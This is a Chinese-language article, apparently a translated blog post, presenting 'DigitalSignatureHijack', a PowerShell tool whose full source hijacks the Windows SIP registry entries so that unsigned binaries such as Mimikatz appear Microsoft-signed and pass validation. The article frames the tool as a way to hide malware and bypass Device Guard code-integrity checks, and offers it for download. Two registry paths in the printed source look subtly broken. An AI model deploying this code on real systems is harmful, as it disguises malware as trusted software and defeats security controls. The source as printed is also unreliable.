导语:劫持数字签名是一种可用于绕过设备保护限制,以及在red team评估过程中隐藏自定义恶意软件的技术。

劫持数字签名是一种可用于绕过设备保护限制,以及在red team评估过程中隐藏自定义恶意软件的技术。Matt Graeber在他的研究中发现了如何绕过数字签名散列验证的方法,并且在他发布的文章中详细描述了所有的细节。基于这些信息,Digital SignatureHijack脚本的开发是为了使这项技术完全自动化。前面的文章已经描述了有关劫持数字签名的更多信息。

一般信息

DigitalSignatureHijack基于PowerShell编写,可以从具有管理权限的PowerShell控制台执行。这个想法是通过只执行四个命令来快速地对PowerShell脚本和可移植可执行文件进行数字签名而来的。

命令

该脚本接受以下命令:

· SignExe – 数字签名的PE可执行文件

· SignPS – 数字签名PowerShell脚本

· ValidateSignaturePE – PE可执行文件的签名验证

· ValidateSignaturePS – PowerShell脚本的签名验证

依赖

DigitalSignature-Hijack依赖于Matt Graeber开发的自定义SIP(Subject Interface Package)dll文件。因此,需要将其存储在目标系统的某个位置,并且需要使用该DLL文件的新位置来更新脚本,否则注册表劫持将不起作用。

·  编译版本的MySIP.dll

·  MySIP DLL的源代码

演示

以下是可用于对主机上存在的所有PowerShell脚本和PE可执行文件进行数字签名的命令列表。

Import-Module .\DigitalSignature-Hijack.ps1
SignExe
SignPS
ValidateSignaturePE
ValidateSignaturePS

对二进制文件进行签名:

Mimikatz是一个可以从内存转储凭据的二进制程序。它不是Windows的一部分,也不是由微软数字签名的可执行程序。

unsigned-mimikatz.png

未签名的Mimikatz

执行SignExe命令后,Mimikatz就带有了微软官方验证可通过的证书。

signed-mimikatz.png

对Mimikatz进行签名

签名验证:

劫持合法的证书将会出现散列不匹配的错误,因此数字签名将无法验证。

signed-mimikatz-invalid-signature.png

对Mimikatz进行签名- 无效签名

执行ValidateSignaturePE命令将正确验证存储在系统上的所有PE可执行文件的数字签名散列。

signed-mimikatz-valid-signature.png

对Mimikatz进行签名 – 有效签名

签署PowerShell脚本:

DigitalSignature-Hijack PowerShell脚本未签名。因此,在实施设备防护UMCI(用户模式代码完整性)的情况下,需要对其进行签名。

unsigned-powershell-script.png

未签名的PowerShell脚本

执行命令SignPS将为Microsoft PowerShell脚本提供一个Microsoft证书。

signed-powershell-script.png

签名的PowerShell脚本

签名验证:

与PE可执行文件一样,Microsoft也正在对PowerShell脚本的数字签名进行散列验证。

powershell-script-invalid-signature.png

PowerShell脚本 – 无效的签名

执行命令ValidateSignaturePS将绕过散列验证,因此数字签名将显示为有效。

powershell-script-valid-signature-e1510082619334.png

PowerShell脚本 – 有效签名

下载

DigitalSignatureHijack脚本可以在以下位置中找到:

·  数字签名劫持

·  https://github.com/netbiosX/Digital-Signature-Hijack

源代码

<#    
    DigitalSignatureHijack v1.0    
    License: GPLv3    
    Author: @netbiosX    
#>    
# Validate Digital Signature for PowerShell Scripts    
function ValidateSignaturePS    
{    
	$ValidateHashFunc = 'HKLM:\SOFTWARE\Microsoft\Cryptography' +'\OID\EncodingType 0\CryptSIPDllVerifyIndirectData'    
	# PowerShell SIP Guid    
	$PSIPGuid = '{603BCC1F-4B59-4E08-B724-D2C6297EF351}'    
	$PSSignatureValidation = Get-Item -Path "$ValidateHashFunc\$PSIPGuid\"    
	$NewDll = 'C:\Users\User\Desktop\Signature Signing\Binaries\MySIP.dll'    
	$NewFuncName = 'AutoApproveHash'    
	$PSSignatureValidation | Set-ItemProperty -Name Dll -Value $NewDll    
	$PSSignatureValidation | Set-ItemProperty -Name FuncName -Value $NewFuncName    
}    
# Validate Digital Signature for Portable Executables    
function ValidateSignaturePE    
{    
	$ValidateHashFunc = 'HKLM:\SOFTWARE\Microsoft\Cryptography' +'\OID\EncodingType 0\CryptSIPDllVerifyIndirectData'    
	# PE SIP Guid    
	$PESIPGuid = '{C689AAB8-8E78-11D0-8C47-00C04FC295EE}'    
$PESignatureValidation = Get-Item -Path "$ValidateHashFunc\$PESIPGuid\"    
	$NewDll = 'C:\Windows\System32\ntdll.dll'    
	$NewFuncName = 'DbgUiContinue'    
	$PESignatureValidation | Set-ItemProperty -Name Dll -Value $NewDll    
	$PESignatureValidation | Set-ItemProperty -Name FuncName -Value $NewFuncName    
}    
# Sign PowerShell Scripts with a Microsoft Certificate    
function SignPS    
{    
	$GetCertFunc = 'HKLM:\SOFTWARE\Microsoft\eCryptography' +'\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg'    
	# PowerShell SIP Guid    
	$PSIPGuid = '{603BCC1F-4B59-4E08-B724-D2C6297EF351}'    
	$PEGetMSCert = Get-Item -Path "$GetCertFunc\$PSIPGuid\"    
	$NewDll = 'C:\Users\User\Desktop\Signature Signing\Binaries\MySIP.dll'    
	$NewFuncName = 'GetLegitMSSignature'    
	$PEGetMSCert | Set-ItemProperty -Name Dll -Value $NewDll    
	$PEGetMSCert | Set-ItemProperty -Name FuncName -Value $NewFuncName    
}    
# Sign Portable Executables with a Microsoft Certificate    
function SignExe    
{    
	$GetCertFunc = 'HKLM:\SOFTWARE\Microsoft\Cryptography' +'\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg'    
	# PE SIP Guid    
	$PESIPGuid = '{C689AAB8-8E78-11D0-8C47-00C04FC295EE}'    
	$PEGetMSCert = Get-Item -Path "$GetCertFunc$PESIPGuid"    
	$NewDll = 'C:\Users\User\Desktop\Signature Signing\Binaries\MySIP.dll'    
	$NewFuncName = 'GetLegitMSSignature'    
	$PEGetMSCert | Set-ItemProperty -Name Dll -Value $NewDll    
	$PEGetMSCert | Set-ItemProperty -Name FuncName -Value $NewFuncName    
}
源链接

Hacking more

...